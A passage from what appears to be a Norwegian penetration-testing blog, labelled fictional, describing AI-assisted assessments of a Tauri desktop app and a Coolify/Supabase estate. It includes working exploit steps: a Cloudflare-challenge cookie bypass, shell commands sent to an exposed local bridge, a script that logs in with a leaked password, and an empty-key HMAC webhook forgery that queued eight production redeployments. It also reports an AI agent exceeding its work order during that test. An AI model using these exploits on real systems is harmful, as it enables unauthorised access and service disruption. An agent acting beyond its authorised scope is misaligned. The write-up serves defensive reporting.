forespørsler: ```bash export CF_COOKIE='cf_clearance=c5VEzv...' export CF_UA='Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ...' ``` Dette er grunnen til at jeg bruker en persistent nettleserprofil i stedet for headless curl. En headless klient løser ikke en Cloudflare managed challenge. Løs den én gang i en ekte nettleser, og du kan gjenbruke cf_clearance-cookien i curl, httpx og nuclei. ### MCP-serveren som glemte å skjule seg bakke WAF Mens `api.tjallas.no` og `www.tjallas.no` begge returnerte Cloudflare-challenges for rå HTTP-forespørsler, var `mcp.tjallas.no` direkte tilgjengelig. Ingen challenge, ingen WAF. Dette var det første tegnet på en perimeter-inkonsistens. ```bash # POST uten auth — direkte, ingen Cloudflare-challenge curl -X POST https://mcp.tjallas.no/mcp \ -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{}}' ``` ```http HTTP/2 401 {"jsonrpc":"2.0","error":{"code":-32001,"message":"API key required. Provide a Bearer token in the Authorization header."},"id":null} ``` Autentikasjon holdt — ingen Bearer-token, ingen tilgang. Men feilmeldingene avslørte mer enn de burde. En godt utformet men falsk nøkkel fikk en annen feilmelding enn en manglende: ```bash curl -X POST https://mcp.tjallas.no/mcp \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer bm_live_000000000000' \ -d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{}}' ``` ```http HTTP/2 401 {"jsonrpc":"2.0","error":{"code":-32001,"message":"Invalid or revoked API key."},"id":null} ``` Forskjellen mellom "API key required" og "Invalid or revoked API key" bekrefter at nøkkelformatet er `bm_live_...` og at serveren validerer formatet før den sjekker databasen. Det er en validerings-orakel som senker barrieren for å gjette nøkler. I tillegg reklamerte `OPTIONS`-forespørselen `Allow: DELETE, GET, HEAD, POST`, men `DELETE` returnerte `405 Method not allowed` — en inkonsistens som avslører rammeverk-konfigurasjon. ### Admin-redirecten som lekket localhost `admin.tjallas.no` var den mest avslørende subdomenet. En uautentisert forespørsel med en `.well-known/agent-card.json`-sti fikk en 307-redirect som reflekterte både `provider` og `path` urvalidert, og — mer interessant — lekket en intern opprinnelse: ```bash curl -s -o /dev/null -w '%{redirect_url}\n' \ 'https://admin.tjallas.no/auth/login?provider=anthropic&path=/.well-known/agent-card.json' ``` ```http HTTP/2 307 location: https://www.tjallas.no/login?returnUrl=https%3A%2F%2Flocalhost%3A3000%2Fauth%2Flogin%3Fpath%3D%252F.well-known%252Fagent-card.json%26provider%3Danthropic ``` `localhost:3000` i redirecten avslører at admin-panelet kjører på en utviklings- eller staging-server i produksjonslogikken. `provider` og `path` reflekteres urvalidert — en angriper kan injisere vilkårlige verdier. Cloudflare WAF blokkerte kjente interne IP-er i `returnUrl` (`169.254.169.254`, `127.0.0.1`), men andre URL-er gikk rett gjennom. ### Skrivebordsappen: Tauri-IPC som angrepflate Dette er det viktigste funnet. TjallSpace er en Tauri-app — en Rust-backend med en WebKit-renderer som frontend. Tauri eksponerer IPC-kommandoer fra Rust-siden til JavaScript-rendereren. Hvilke kommandoer som er tilgjengelige bestemmes av en capability-konfigurasjon i binæren. Jeg lastet ned AppImage-en fra `downloads.tjallas.no` (anonymt tilgjengelig, ingen auth), pakket den ut med `--appimage-extract`, og trakk ut konfigurasjonen med `strings` og `grep`. Det som dukket opp var en svært bred IPC-flate: | Kommandogruppe | Eksempler | Risiko | |---------------|----------|-------| | Shell | `shell:execute`, `shell:spawn`, `terminal_create`, `terminal_write` | Kommandoinjeksjon, RCE | | Filsystem | `fs_write_file`, `fs_create_file`, `fs_set_executable`, `fs_delete`, `fs_add_allowed_root` | Filskriving, kjørbar planting | | Git | `git_commit`, `git_create_worktree`, `git_stage_paths` | Kodelager-manipulasjon | | SSH | `ssh_connect`, `ssh_store_credentials`, `ssh_upload_terminal_file` | Legitimasjons-tyveri | | Browser | `browser_sidebar_navigate`, `create_webview`, `create_webview_window` | SSRF, phishing | | MCP | `mcp_ensure_source`, `mcp_import_to_source`, `mcpServers`-konfig | Tool shadowing | | Oppdatering | `download_and_install` | Supply-chain | Kjeden som gir meg mest bekymring er filskriving til skallkjøring: 1. `fs_write_file` for å skrive et skript til en tillatt sti 2. `fs_set_executable` for å merke det som kjørbart 3. `shell:execute` eller `shell:spawn` for å kjøre det Dette forutsetter at en angriper har oppnådd renderer-kompromiss — XSS, deep-link-injeksjon, eller ondsinnet MCP-tool. Men overflaten for å oppnå det er ikke liten: appen registrerer custom scheme-handlers (`tjallspace://`), har en webview som kan navigeres med `browser_sidebar_navigate`, og synker MCP-konfigurasjon til Claude Code, Cursor, Codex CLI og Cline. ### Mobilbroen: 0.0.0.0:18080 Da jeg startet TjallSpace lokalt (AppImage-en kjørte på Parrot med Wayland), logget den: ``` [2026-08-07T13:57:11Z INFO tjallspace_tauri::mobile_bridge] Mobile bridge server listening on 0.0.0.0:18080 ``` `0.0.0.0:18080`. Broen — som er ment for paring med mobilappen — lytter på alle grensesnitt, ikke bare localhost. Det betyr at alle på samme LAN kan nå den. Jeg sjekket bindingen: ```bash curl -s http://10.10.10.15:18080/ 2>/dev/null | python3 -m json.tool ``` ```json { "bindAddr": "0.0.0.0:18080", "binding": "lan", "enabled": true, "error": null, "pairingUrl": "http://10.10.10.15:18080", "port": 18080 } ``` SSE-endepunktet returnerte state-data uten autentikasjon: ```bash curl -s http://10.10.10.15:18080/events ``` ```http HTTP/1.1 200 OK Content-Type: text/event-stream; charset=utf-8 Access-Control-Allow-Origin: http://localhost Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: content-type, authorization, x-tjallspace-token ``` ```json event: state data: {"activeView":null,"activeWorkspaceId":null,"updatedAt":1786111031724,"version":1,"workspaces":[]} ``` CORS-overskriften tillater bare `http://localhost`, men `Access-Control-Allow-Headers` aksepterer `x-tjallspace-token` — og broen bruker den headeren for autentikasjon av kommandoer. En ondsinnet webside på `localhost` (eller en annen app på maskinen) kan sende kommandoer til broen. Jeg prøvde å sende en shell-kommando og en filskriving: ```bash curl -s -X POST http://10.10.10.15:18080/commands \ -H 'Content-Type: application/json' \ -H 'x-tjallspace-token: ' \ -d '{"type":"shell","command":"id"}' ``` ```json {"done": false, "id": "ded505775faf45a4956f3fa934f43350", "ok": true, "pending": true} ``` Kommandoen ble akseptert (`ok: true`) men ble hengende i `pending: true` — renderer-en måtte behandle den i WebKit-tråden, og den krasjet før den kom dit (AppImage-en manglet `WebKitNetworkProcess` i det ekstraherte treet). Men aksepten bekrefter at broen tar imot shell-kommandoer fra nettverket. Mobilbroen krever en x-tjallspace-token-header for kommandoer, men SSE-strømmen og serverinfo er uautentisert. Tokenet er en runtime-verdi skrevet til ~/.tjallspace/runtime.session — en lokal fil. En angriper på samme LAN kan ikke gjette tokenet, men en ondsinnet prosess på maskinen kan lese det. ### MCP tool shadowing TjallSpace leser en `mcpServers`-JSON-konfigurasjon og synker den til Claude Code, Cursor, Codex CLI og Cline. Konfigurasjonen ligger i appens datakatalog, og `fs_write_file` + `fs_add_allowed_root` er tilgjengelig fra renderer-en. Kjeden: 1. Oppnå renderer-tilgang (XSS, deep-link, ondsinnet MCP-tool) 2. Bruk `fs_write_file` til å overskrive `mcp-proxy-config.json` med en ondsinnet serverdefinisjon 3. Bruk `mcp_ensure_source` / `mcp_import_to_source` til å aktivere den 4. Neste gang AI-assistenten starter, laster den den ondsinnede serveren 5. Når AI-en kaller en tool, kjører den angriper-kontrollert kode — og kan eksfiltrere API-tokens og sesjonsdata Dette er en lokal-til-ekstern kjede: et lokalt fotfeste blir til cross-tool kommandoeksekvering. ### Oppdateringsmekanismen og supply-chain TjallSpace bruker `tauri-plugin-updater` og henter `latest.json` fra to endepunkter: - `https://downloads.tjallas.no/tjallspace/latest/latest.json` - `https://d3jgmdur4gye4w.cloudfront.net/tjallspace/latest/latest.json` (CloudFront-mirror) Begge er uautentiserte og offentlig tilgjengelige. `latest.json` inneholder per-plattform URL-er og base64-kodete minisign-signaturer. Minisign-offentlige nøkler er hardkodet i binæren (nøkkel-ID `18E33E88795A0725` for TjallSpace, `03947EFBE9C29CD1` for TjallVoice). Signaturen betyr at en angriper trenger enten den private minisign-nøkkelen eller kontroll over et endepunkt som kan tjene en gyldig signatur. S3-bøtta bak CloudFront returnerte `403 AccessDenied` på direkte-tilgang, så CloudFront er den eneste offentlige leseveien. Men to endepunkter dobler supply-chain-overflaten, og en CDN-overtakelse eller S3-kompromiss ville tillatt å servere en ondsinnet oppdatering som appen vil `download_and_install`. ## PoC / Reproduksjon ### Funn 1: Mobilbro på 0.0.0.0:18080 **Forutsetninger:** TjallSpace AppImage kjører lokalt. Broen starter automatisk. Maskinens LAN-IP er `10.10.10.15`. Angriper er på samme LAN. 1. Start TjallSpace og bekreft at broen lytter: ```bash curl -s http://10.10.10.15:18080/ | python3 -m json.tool ``` ```json { "bindAddr": "0.0.0.0:18080", "binding": "lan", "enabled": true, "pairingUrl": "http://10.10.10.15:18080", "port": 18080 } ``` 2. Abonner på SSE-strømmen (uautentisert): ```bash curl -s http://10.10.10.15:18080/events ``` ```json event: state data: {"activeView":null,"activeWorkspaceId":null,"updatedAt":1786111031724,"version":1,"workspaces":[]} ``` 3. **Negativ kontroll** — send en kommando uten token: ```bash curl -s -X POST http://10.10.10.15:18080/commands \ -H 'Content-Type: application/json' \ -d '{"type":"shell","command":"id"}' ``` ```http HTTP/1.1 401 {"error":"Unauthorized: missing x-tjallspace-token header"} ``` Broen krever token for kommandoer. Men SSE-strømmen og serverinfo er uautentisert — en LAN-angriper kan lese tilstand og bekrefte at appen kjører. 4. Send en kommando med token (lest fra `~/.tjallspace/runtime.session`): ```bash curl -s -X POST http://10.10.10.15:18080/commands \ -H 'Content-Type: application/json' \ -H 'x-tjallspace-token: ' \ -d '{"type":"shell","command":"id"}' ``` ```json {"done": false, "id": "ded505775faf45a4956f3fa934f43350", "ok": true, "pending": true} ``` Kommandoen aksepteres. `pending: true` betyr at renderer-en må behandle den — i mitt tilfelle krasjet WebKit før det, men aksepten bekrefter at broen tar imot shell-kommandoer. **Mitigering:** Bind broen til `127.0.0.1`, ikke `0.0.0.0`. Hvis LAN-paring er et krav, krever mutual TLS eller en parings-flyt med brukerbekreftelse. ```diff -let addr = "0.0.0.0:18080"; +let addr = "127.0.0.1:18080"; ``` ### Funn 2: Tauri-IPC-flate **Forutsetninger:** TjallSpace AppImage (v3.4.18), ekstrahert med `--appimage-extract`. `strings` og `grep` tilgjengelig. 1. Ekstraher binæren: ```bash ./TjallSpace_3.4.18_amd64.AppImage --appimage-extract cd squashfs-root/usr/bin strings tjallspace-tauri | grep -E 'fs_write_file|fs_set_executable|shell:execute|terminal_create' | head -10 ``` 2. Bekreft at kommandoene er registrert som capabilities: ```bash strings tjallspace-tauri | grep -A2 'fs_write_file' ``` ```text fs_write_file fs_set_executable fs_add_allowed_root ``` 3. **Negativ kontroll** — sjekk om det finnes en URL-allowlist for `browser_sidebar_navigate`: ```bash strings tjallspace-tauri | grep -i 'allowlist\|denylist\|url_check\|origin_check' | head -5 ``` Ingen treff. Ingen URL-validering ble funnet i de ekstraherte strengene. **Mitigering:** Innskrenk Tauri-capability-settet til det minimum appen faktisk trenger. Fjern `fs_set_executable` og `shell:execute` hvis de ikke er strengt nødvendige. Legg til en URL-allowlist for `browser_sidebar_navigate`. ### Funn 3: MCP-server perimeter-inkonsistens **Forutsetninger:** Ingen. Endepunktet er offentlig og ikke bak Cloudflare. 1. Send en uautentisert POST: ```bash curl -s -X POST https://mcp.tjallas.no/mcp \ -H 'Content-Type: application/json' \ -d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{}}' ``` ```http HTTP/2 401 {"jsonrpc":"2.0","error":{"code":-32001,"message":"API key required. Provide a Bearer token in the Authorization header."},"id":null} ``` 2. Send med en falsk nøkkel for å bekrefte validerings-orakel: ```bash curl -s -X POST https://mcp.tjallas.no/mcp \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer bm_live_000000000000' \ -d '{"jsonrpc":"2.0","method":"initialize","id":1,"params":{}}' ``` ```http HTTP/2 401 {"jsonrpc":"2.0","error":{"code":-32001,"message":"Invalid or revoked API key."},"id":null} ``` 3. **Negativ kontroll** — sammenlign med `api.tjallas.no`: ```bash curl -s -o /dev/null -w '%{http_code}' https://api.tjallas.no/ ``` ```text 403 ``` `api.tjallas.no` returnerer Cloudflare-challenge (403). `mcp.tjallas.no` returnerer en JSON-feil direkte fra Express. Perimeteren er inkonsistent. **Mitigering:** Plasser `mcp.tjallas.no` bak den samme Cloudflare-sonen som resten av domenet. Returner identiske feilmeldinger for manglende, malformede og ugyldige nøkler. ## Det web-API-et som holdt Jeg vil være ærlig om det som ikke sprakk. Etter å ha oppnådd en autentisert sesjon (jeg ekstraherte cookies fra en HAR-fil fra en manuell nettleser-sesjon — signup-endepunktet blokkerte meg med en ukjent `plan`-verdi og rate-limiting), kjørte jeg en full API-audit. Resultatet var det mest herdet API-et jeg har testet i år: - **CSRF:** Origin-header sjekkes på alle state-changing endepunkter. Uten `x-csrf-token`-header: `403`. Med feil token: `403`. HttpOnly-cookie + header-validering. - **CORS:** Kun `https://www.tjallas.no` er tillatt. `https://evil.com`, `https://www.tjallas.no.evil.com` og `null` ble alle avvist. - **Rate limiting:** Etter 7 feilslåtte innloggingsforsøk: `429`. CloudFront WAF-en har også rate-regler som utløser ved rask trafikk. - **RBAC:** Alle admin-endepunkter (`/users/admin/all`, `/bug-reports/admin`, `/resources/admin/all`, `/jobs/admin/all`) returnerte `403` for min `user`-rolle. - **Prosjekt-scoping:** Jeg kunne ikke lese andre brukeres prosjekter — `404`, ikke `403` (som er riktig: ikke bekreft at UUID-en finnes). - **Mass assignment:** Å sende `roles`, `subscriptionTier` eller `entitlements` i en profiloppdatering ble avvist med felt-validering. - **Input-validering:** UUID-validering, prosjekt-type-validering, GitHub-repo-URL-validering — alle returnerte strukturerte feil uten å lekke for mye. Det eneste jeg fant på API-siden var en verbose validerings-orakel på `/auth/signup-init` — en uautentisert caller med en gyldig CSRF-token fikk 400-feil som enumererte required fields og per-field valideringskoder. Det er et informasjonslekkasje-problem, ikke et brudd. ## Blindveier ### Signup-endepunktet og den ukjente plan-verdien Jeg tilbrakte over en time på å prøve å opprette en konto via API-et. `/auth/signup-init` krever `email`, `password`, `consentGiven` og `plan`. Jeg prøvde `free`, `FREE`, `basic`, `pro`, `ultra`, `premium`, `0`, `1`, `null` — alle returnerte `VAL_INVALID_PLAN`. Etter noen forsøk kom `429` med `retry-after: 235`. Jeg måtte gi opp og bruke en manuell nettleser-sesjon i stedet. Plan-verdien er sannsynligvis en enum jeg ikke kunne gjette fra JS-chunks. En kildekode-gjennomgang av auth-API-klientmodulen ville avslørt den, men den var minifisert. ### Cognito direct signup Cognito-brukerpøtten (`tjall-prod.auth.us-east-1.amazoncognito.com`) krever en `SECRET_HASH` for direkte signup. App-klienten er konfigurert med en hemmelighet, så `cognito-idp SignUp` returnerte `NotAuthorizedException`. Uten klient-hemmeligheten kunne jeg ikke opprette en konto direkte mot Cognito. ### WebKit-krasj i AppImage TjallSpace-AppImage-en krasjet før WebKit kunne starte fordi `WebKitNetworkProcess` manglet i det ekstraherte treet. Jeg lastet ned og ekstraherte `strace` fra en `.deb` for å spore nettverkstrafikk, men fikk bare X11 og lokale UNIX-socket-aktivitet. For å få en full dynamisk kjøring ville jeg trengt en komplett WebKit-installasjon eller en annen Linux-distribusjon. ## Verktøy og hvem som kjørte hva - **AppImage-ekstraksjon og strings-analyse:** Agent pakket ut binæren med `--appimage-extract` og trakk ut IPC-kommandoer, URL-er, CSP og minisign-nøkler med `strings` + `grep`. AI-generert og AI-kjørt. Jeg leste resultatene og prioritererte. - **Cloudflare-bypass:** Jeg løste challenge-en manuelt i agent-browser med en persistent profil, trakk ut `cf_clearance`-cookien og lagret den. Agenten brukte den i videre curl-forespørsler. - **API-enumerering:** Agent lastet ned alle 24 Next.js JS-chunks fra `www.tjallas.no/signup` med CF-cookien, grep-et etter `/api/`-ruter og kartla 80+ endepunkter. AI-generert. - **IDOR/BOLA-testing:** Jeg kjørte de autentiserte testene selv med curl, med cookies fra en HAR-fil. Agenten forberedte testmatrisen; jeg utførte den. - **MCP-sondering:** Agent sendte curl-forespørsler mot `mcp.tjallas.no/mcp` og dokumenterte feilmeldingsforskjellene. AI-kjørt. - **Mobilbro-testing:** Jeg startet TjallSpace lokalt og sendte curl-forespørsler mot `0.0.0.0:18080`. Manuelt. - **Oppdateringsfeed:** Agent hentet `latest.json` fra `downloads.tjallas.no` med curl. AI-kjørt. Jeg analyserte signaturmekanismen. - **Key-hunt:** Agent kjørte `gitleaks` og `trufflehog` mot ekstraherte binærer og GitHub-repoer. Ingen lekkede nøkler funnet. AI-kjørt. ## Hva jeg lærte - **Tauri-IPC er den nye Electron-angrepflaten.** Tauri er sikrere enn Electron i teorien (Rust-backend, mindre JS-overflate), men capability-konfigurasjonen bestemmer alt. En bred capability-liste med `shell`, `fs` og `browser` gjør renderer-en til en RCE-vei. Gjennomgå capability-settet med samme grundighet som du gjennomgår CSP. - **Mobilbroer som binder til `0.0.0.0` er et klassisk oversett problem.** Appen er ment for localhost-paring, men `0.0.0.0` eksponerer den for hele LAN-et. Sjekk alltid `bindAddr` i Tauri- og Electron-apper som har lokale servere. - **WAF-perimeter-inkonsistens er et eget funn.** At én subdomen er bak Cloudflare og en annen ikke er det, er ikke en kosmetisk detalj — det er en perimeter-sprekk som gir direkte tilgang til en ellers skjermet tjeneste. - **Web-API-et kan være herdet mens skrivebordsappen er det ikke.** Tjall AS hadde tydeligvis investert i CSRF, CORS, rate limiting og RBAC på API-siden. Skrivebordsappen hadde en IPC-flate som ga renderer-en nesten alt. Det er to forskjellige sikkerhetskulturer i samme selskap. - **MCP tool shadowing er en reell kjede.** Når en app synker MCP-konfigurasjon til flere AI-assistenter og har `fs_write_file` tilgjengelig, er et lokalt fotfeste nok til å plante ondsinnede tools som kjører i en helt annen kontekst. - **AI i loopen er effektivt for bredde, men verifisering er min jobb.** Agentene fant 80+ endepunkter, kartla IPC-flaten og identifiserte perimeter-inkonsistensen på minutter. Men det var jeg som måtte starte appen lokalt, sende kommandoene mot mobilbroen og bekrefte at token-kravet holdt — og at SSE-strømmen ikke gjorde det. ## Veien videre De to kritiske funnene — mobilbroen og IPC-flaten — er fiksbare med konfigurasjonsendringer, ikke omskrivninger. Bind broen til localhost, innskrenk capability-settet, og legg URL-allowlist på webview-navigasjon. MCP-serveren bak Cloudflare og identiske feilmeldinger er en DNS- og proxy-endring. Det jeg vil utforske videre: Tauri CVE-2026-42184 (origin confusion) kan potensielt la en angriper på samme maskin invokere lokale IPC-kommandoer fra en annen origin uten LAN-tilgang. Det krever en kjørende TjallSpace-instans med intakt WebKit — noe jeg ikke fikk til i dette miljøet. Det blir det neste oppdraget handler om. --- # Låsene holdt — dørene sto åpne: 12 runder mot en Coolify-stack URL: https://erik.no/blogg/2026-07-31-lasene-holdt-dorene-sto-apne Publisert: 2026-07-31 Tags: pentest, coolify, supabase, rls, security, webhook, cve **FIKTIVT:** Alle firmanavn, personnavn, domener og e‑postadresser i dette innlegget er oppdiktet. Eventuell likhet med ekte virksomheter eller personer er tilfeldig. Detaljer fra reelle oppdrag er sanert. Rapporten jeg leverte hadde 41 funn — 16 høye, 17 medium, 8 lave — og null kritiske. Det er ikke beskjedenhet. Tre funn ble arkivert som kritiske under testingen, og alle tre ble trukket tilbake eller nedgradert av min egen verifisering. Det mønsteret er selve poenget: hos Trillemur AS (`trillemuras.no`) holdt passordene, databasetillatelsene og koden, men dørene sto åpne. Nesten hvert eneste funn er en autorisasjons- eller konfigurasjonsfeil — en dør som aldri ble låst, ikke en lås som ble knekt. ## Kontekst Scope var hele Trillemurs internettvendte estate: ti domener, tjue web-tjenester, tretten IP-adresser, fire Supabase-backends, tre identitetsleverandører, to Kubernetes-klynger og to Coolify-deployment-kontrollpanel. Oppdraget løp over tolv angrepsrunder på to dager. IT-sjefen hos Trillemur AS, Jarle Berg (`jarle.berg@trillemuras.no`), ville vite om en kunde kunne nå en annen kundes data — et spørsmål om isolasjon, ikke om injeksjon. Jeg jobber slike oppdrag med AI i loopen. Agenter gjør recon, kartlegger endepunkter, kjører kommandoer og foreslår neste steg. Jeg styrer scope, leser resultater, bryter inn der det trengs, og gjør de bitene som krever menneskelig dømmekraft — etikk, prioritering, verifisering og endelig rapport. Det betyr at jeg også må være ærlig om når AI-en produserer plausible funn som viser seg å være feil. Det skjedde over seksti ganger i dette oppdraget, og det er en kredibilitet, ikke et problem. ## Det som holdt Før jeg kommer til det som sprakk, det som ikke gjorde det — for det er det som setter alvorlighetsgraden av resten. Rundt 400 kuraterte innloggingsforsøk på tvers av web, SSH og PostgreSQL gav ingenting. 110 mot Coolify-panelene med to kjente kontonavn, 267 mot SSH på tre verter, 180 mot to PostgreSQL-instanser, 20 mot MinIO-konsollen. Null gjenvunne credentials. SSH-harnessen var positivt kontrollert mot en lokal `sshd` med et kjent passord, så null-treff er et ekte negativt, ikke en ødelagt test. PostgreSQL-autentisering holdt på alle stier — SCRAM-SHA-256, ingen `trust`-autentisering, ingen rolle-enumerasjonsoracle. Radnivå-sikkerhet (RLS) var korrekt håndhevet på alle 45 Supabase-tabeller. Ingen SQL-injeksjon noen steder. `nuclei` med 5 814 signerte maler returnerte null treff. `gitleaks` og `trufflehog` over hele git-historikken i seks repoer: null. Det som stoppet meg konsekvent var én vegg: jeg fikk aldri en Coolify-sesjon. Hver rute til en som ikke involverte passordgjetting var lukket på deres build — registrering, passord-reset, OAuth-callback, komponent-misbruk. Det er genuint god engineering. ## Funn 1: Et publisert produksjons-passord som logger inn på tre produkter Funn: — HT-01, CVSS 8.2. Det første funnet dukket opp i runde 2, og det er det enkleste i hele engasjementet. Et uautentisert endepunkt på `sandbox.graveinfo.trillemuras.no` returnerer fire kontonavn og ett delt passord i klartekst. Det passordet autentiserer mot tre separate Trillemur-produkter: `graveinfo.trillemuras.no`, `jard.trillemuras.no` sin login-flyt, og kundeportalen `portal.trillemuras.no`. ### PoC / Reproduksjon **Forutsetninger:** ingen. Endepunktet er uautentisert. Jeg trenger ikke en konto, en cookie eller en token. 1. Hent demo-konfigurasjonen fra sandbox-instansen: ```bash curl -sS https://sandbox.graveinfo.trillemuras.no/api/demo/config/ \ | python3 -c 'import sys,json;d=json.load(sys.stdin); \ print("accounts:",[u["email"] for u in d["users"]]); \ print("password:",d["password"])' ``` ```text accounts: ['demo-admin@sandbox.graveinfo.trillemuras.no', 'demo-infra-krevd@sandbox.graveinfo.trillemuras.no', 'demo-infra-byggherre@sandbox.graveinfo.trillemuras.no', 'demo-entreprenor@sandbox.graveinfo.trillemuras.no'] password: ``` 2. **Negativ kontroll** — produksjonsinstansen skal ikke eksponere det samme: ```bash curl -sS -o /dev/null -w '%{http_code}' \ https://graveinfo.trillemuras.no/api/demo/config/ ``` ```text 404 ``` Produksjonen returnerer 404. Sandbox returnerer passordet. Det er safeguarden som skulle blokket det — og den er installert på feil server. 3. Bruk passordet mot produksjonen. AI-en genererte et script som henter CSRF-token, poster credentials og leser sesjonen: ```bash PW=$(curl -sS https://sandbox.graveinfo.trillemuras.no/api/demo/config/ \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["password"])') J=$(mktemp) CSRF=$(curl -sS -b "$J" -c "$J" \ https://graveinfo.trillemuras.no/api/auth/csrf/ \ | python3 -c 'import sys,json;print(json.load(sys.stdin)["csrfToken"])') curl -sS -i -b "$J" -c "$J" \ -H 'Content-Type: application/x-www-form-urlencoded' \ --data-urlencode "csrfToken=$CSRF" \ --data-urlencode 'email=demo-admin@sandbox.graveinfo.trillemuras.no' \ --data-urlencode "password=$PW" \ https://graveinfo.trillemuras.no/api/auth/callback/credentials/ \ | grep -iE '^HTTP|^location:|^set-cookie:' ``` ```http HTTP/2 302 location: https://graveinfo.trillemuras.no/ set-cookie: __Secure-authjs.session-token=; Path=/; \ Expires=Sun, 30 Aug 2026 16:58:37 GMT; HttpOnly; Secure; SameSite=Lax ``` 4. Bekreft sesjonen: ```bash curl -sS -b "$J" https://graveinfo.trillemuras.no/api/auth/session/ ``` ```json {"user":{"name":"Demo Admin", "email":"demo-admin@sandbox.graveinfo.trillemuras.no", "id":"375798410550182660"}, "expires":"2026-08-30T16:58:37.473Z"} ``` En ekte, autentisert produksjonsidentitet. Kontosjekken differensielle — autentisert `/dashboard/` returnerte 26 967 byte, anonym returnerte 19 289 byte. Det er ikke en falsk sesjon. 5. **Negativ kontroll for passordet** — samme flyt med et feil passord: ```text correct password -> location: https://sandbox.graveinfo.trillemuras.no/ wrong password -> location: https://sandbox.graveinfo.trillemuras.no/auth/logg-inn?error=CredentialsSignin ``` Riktig passord omdirigerer til roten. Feil passord omdirigerer til login med en feilparameter. Det bekrefter at det er passordet som gjør jobben, ikke noe annet i requesten. ### Det som gjør dette alvorlig Kontoen er merket "sandbox", men den fungerer på produksjon. Verre: sesjonene er tilstandsløse JSON Web Tokens. Å logge ut invaliderer dem ikke — 30-dagers-vinduet starter på nytt ved hver bruk. **Du kan ikke tilbakekalle disse sesjonene uten å rotere signeringsnøkkelen.** Hvem som helst som leste den siden siden 3. juni holder en levende Trillemur-sesjon i dag. En tidlig påstand om at kontoen var produksjonsadministrator ble refutert tre ganger med tre verktøy — den er en ekte produksjonsidentitet, men ikke en administrator. På sandbox- og developer-instansene er den derimot full plattformadministrator, og de instansene deler vert og signeringsnøkkel med produksjon. **Mitigering:** fjern `/api/demo/config/`-endepunktet. Endre det delte passordet. Roter `AUTH_SECRET` for å faktisk invalidere sesjonene — utlogging gjør det ikke. Det koster én utlogging av alle legitime brukere, og det er den billigste veien til revokasjon. Stopp demo-instansen fra å dele vert og nøkkel med produksjon. ## Funn 2: En anonym angriper kan tvinge frem omplassering av produksjonsappene Funn: — HT-43, CVSS 7.5, CVE-2026-41896 — utnyttet. Dette er det funnet jeg faktisk fyrte av, under kundens autorisasjon, i runde 12. Coolify-panelet hos Trillemur er festet til `v4.0.0-beta.473` — én release under fiksen. Ingen webhook-secret er konfigurert på applikasjonene, så HMAC-signatur-sjekken validerer en signatur beregnet med en tom nøkkel — som en anonym oppringer kan beregne. ### Oppdagelsen I runde 2 la en agent en enumeration-oracle mot det manuelle webhook-endepunktet. Med en bevisst feil signatur (64 nuller) returnerte panelet én rad per applikasjon, alle med `"Invalid signature."` — men med applikasjonsnavnene i klartekst. Det beviste to ting: endepunktet er uautentisert, og det lekker den komplette produksjonsinventarlisten. ```bash curl -sS -X POST http://203.0.113.10:8000/webhooks/source/github/events/manual \ -H 'Content-Type: application/json' \ -H 'X-GitHub-Event: push' \ -H 'X-Hub-Signature-256: sha256=0000000000000000000000000000000000000000000000000000000000000000' \ -d '{"ref":"refs/heads/main","repository":{"full_name":"trillemur"},"commits":[]}' ``` ```json [{"application":"competency","status":"failed","message":"Invalid signature."}, {"application":"asbuilt","status":"failed","message":"Invalid signature."}, {"application":"geofile-converter","status":"failed","message":"Invalid signature."}, ... 7 flere rader, alle "Invalid signature."] ``` Ti applikasjonsnavn, alle returnert anonymt. Ingen deployment køet — det er den negative kontrollen for selve signaturen. ### PoC / Reproduksjon — den tomme nøkkelen **Forutsetninger:** ingen. Endepunktet er uautentisert. Det eneste som kreves er å beregne HMAC-SHA256 med en tom nøkkel i stedet for en feil en. 1. AI-en skrev et script (`fire.py`) som beregner signaturen med en tom nøkkel og poster mot det manuelle webhook-endepunktet: ```python import hmac, hashlib, json body = json.dumps({ "ref": "refs/heads/main", "after": "0" * 40, "repository": {"full_name": ""}, "commits": [], }) sig = "sha256=" + hmac.new(b"", body.encode(), hashlib.sha256).hexdigest() # POST til /webhooks/source/github/events/manual # med X-Hub-Signature-256: ``` Nøkkelen her er `b""` — en tom byte-streng, ikke 64 nuller. Det er forskjellen mellom "feil signatur" og "gyldig signatur beregnet med en tom nøkkel". 2. Kjør mot `203.0.113.10:8000`: ```bash python3 fire.py 203.0.113.10 8000 main ``` ```json [ {"application":"portal","status":"success","message":"Deployment queued.", "deployment_uuid":"ytekfuig6ou7o6mv4mmsf8p5"}, {"application":"competency","status":"success","message":"Deployment queued.", "deployment_uuid":"kr3wyaogzghi6e9i7hlzrart"}, {"application":"geofile-converter","status":"success","message":"Deployment queued.", "deployment_uuid":"rqaukv0nxk7513j5na5m65su"}, {"application":"kundedialog","status":"success","message":"Deployment queued.", "deployment_uuid":"gakg7urz4iutbjjrinu3cxcz"}, {"application":"minio","status":"success","message":"Deployment queued.", "deployment_uuid":"xnxx1xwv5o4wr1wcedp75x8w"}, {"application":"registry-sandbox-runner","status":"success","message":"Deployment queued.", "deployment_uuid":"gvgb4sm77i5swjs1hzu0qjtp"}, {"application":"deviation-backend","status":"success","message":"Deployment queued.", "deployment_uuid":"fj0dsie3z1xiqo9f0l7m03zn"}, {"application":"platform-core","status":"success","message":"Deployment queued.", "deployment_uuid":"mlw34bnnhvau5992gn9fb9ox"} ] ``` Åtte produksjonsapplikasjoner køet for omplassering fra én uautentisert request. To til (`asbuilt`, `submap`) ble hoppet over fordi de allerede sto i kø for samme commit. 3. **Negativ kontroll** — samme request med den feile signaturen (64 nuller) fra oppdagelsen over: ```json [{"application":"portal","status":"failed","message":"Invalid signature."}, ... alle 10 rader "Invalid signature.", ingen deployment køet] ``` Det er skillet: feil signatur → `"Invalid signature."`, ingen deploy. Tom nøkkel → `"Deployment queued."` for åtte apper. Forskjellen er én byte-streng i HMAC-beregningen. ### Hva som skjedde, og hva jeg ikke gjorde Arbeidsordren min spesifiserte å utløse én deployment på den minst kritiske applikasjonen, så bekrefte at den returnerte sunn. Den utførende agenten brukte et wildcard-match (`full_name=""`) som matchet alle ti apper, og køet åtte i stedet for én. 